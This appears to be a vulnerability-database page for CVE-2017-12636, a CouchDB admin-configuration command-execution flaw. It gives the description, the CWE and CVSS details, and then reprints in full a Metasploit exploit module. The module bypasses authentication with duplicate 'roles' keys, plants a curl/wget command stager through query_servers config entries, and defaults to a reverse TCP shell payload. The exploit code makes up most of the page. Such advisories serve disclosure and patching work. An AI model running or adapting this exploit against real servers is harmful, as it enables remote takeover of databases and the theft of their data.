CVE-2017-12636 Detail

CVE-2017-12636

Score / Severity

7.2

High

CVE Descriptions

CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	7.2	HIGH	CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. High The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	9		AV:N/AC:L/Au:S/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 45019

Publication date : 2018-07-12 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache CouchDB Arbitrary Command Execution', 'Description' => %q{ CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet. }, 'Author' => [ 'Max Justicz', # CVE-2017-12635 Vulnerability discovery 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery 'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module ], 'References' => [ ['CVE', '2017-12636'], ['CVE', '2017-12635'], ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] ], 'DisclosureDate' => 'Apr 6 2016', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' }, 'CmdStagerFlavor' => ['curl', 'wget'], 'Targets' => [ ['Automatic', {}], ['Apache CouchDB version 1.x', {}], ['Apache CouchDB version 2.x', {}] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(5984), OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), OptString.new('HttpUsername', [false, 'The username to login as']), OptString.new('HttpPassword', [false, 'The password to login with']) ]) register_advanced_options([ OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) ]) end def check get_version version = Gem::Version.new(@version) return CheckCode::Unknown if version.version.empty? vprint_status "Found CouchDB version #{version}" return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) CheckCode::Safe end def exploit fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version version = @version vprint_good("#{peer} - Authorization bypass successful") if auth_bypass print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") @cmdstager = generate_cmdstager( temp: datastore['WritableDir'], file: File.basename(cmdstager_path) ).join(';') register_file_for_cleanup(cmdstager_path) if !datastore['Attempts'] || datastore['Attempts'] <= 0 attempts = 1 else attempts = datastore['Attempts'] end attempts.times do |i| print_status("#{peer} - The #{i + 1} time to exploit") send_payload(version) Rex.sleep(5) # break if we get the shell break if session_created? end end # CVE-2017-12635 # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization # for the newly created user. def auth_bypass username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) @auth = basic_auth(username, password) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), 'method' => 'PUT', 'ctype' => 'application/json', 'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}) ) if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok'] return true else return false end end def get_version @version = nil begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'authorization' => @auth ) rescue Rex::ConnectionError vprint_bad("#{peer} - Connection failed") return false end unless res vprint_bad("#{peer} - No response, check if it is CouchDB. ") return false end if res && res.code == 401 print_bad("#{peer} - Authentication required.") return false end if res && res.code == 200 res_json = res.get_json_document if res_json.empty? vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.") return false end @version = res_json['version'] if res_json['version'] return true end vprint_warning("#{peer} - Version not found") return true end def send_payload(version) vprint_status("#{peer} - CouchDB version is #{version}") if version version = Gem::Version.new(@version) if version.version.empty? vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") # if target set Automatic, exploit failed. if target == targets[0] fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.") elsif target == targets[1] payload1 elsif target == targets[2] payload2 end elsif version < Gem::Version.new('1.7.0') payload1 elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) payload2 elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") end end # Exploit with multi requests # payload1 is for the version of couchdb below 1.7.0 def payload1 rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" register_file_for_cleanup(rand_file) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"language":"#{rand_cmd1}","map":""}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"language":"#{rand_cmd2}","map":""}) ) end # payload2 is for the version of couchdb below 2.1.1 def payload2 rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" register_file_for_cleanup(rand_file) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_membership"), 'method' => 'GET', 'authorization' => @auth ) node = res.get_json_document['all_nodes'][0] send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}) ) end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" end end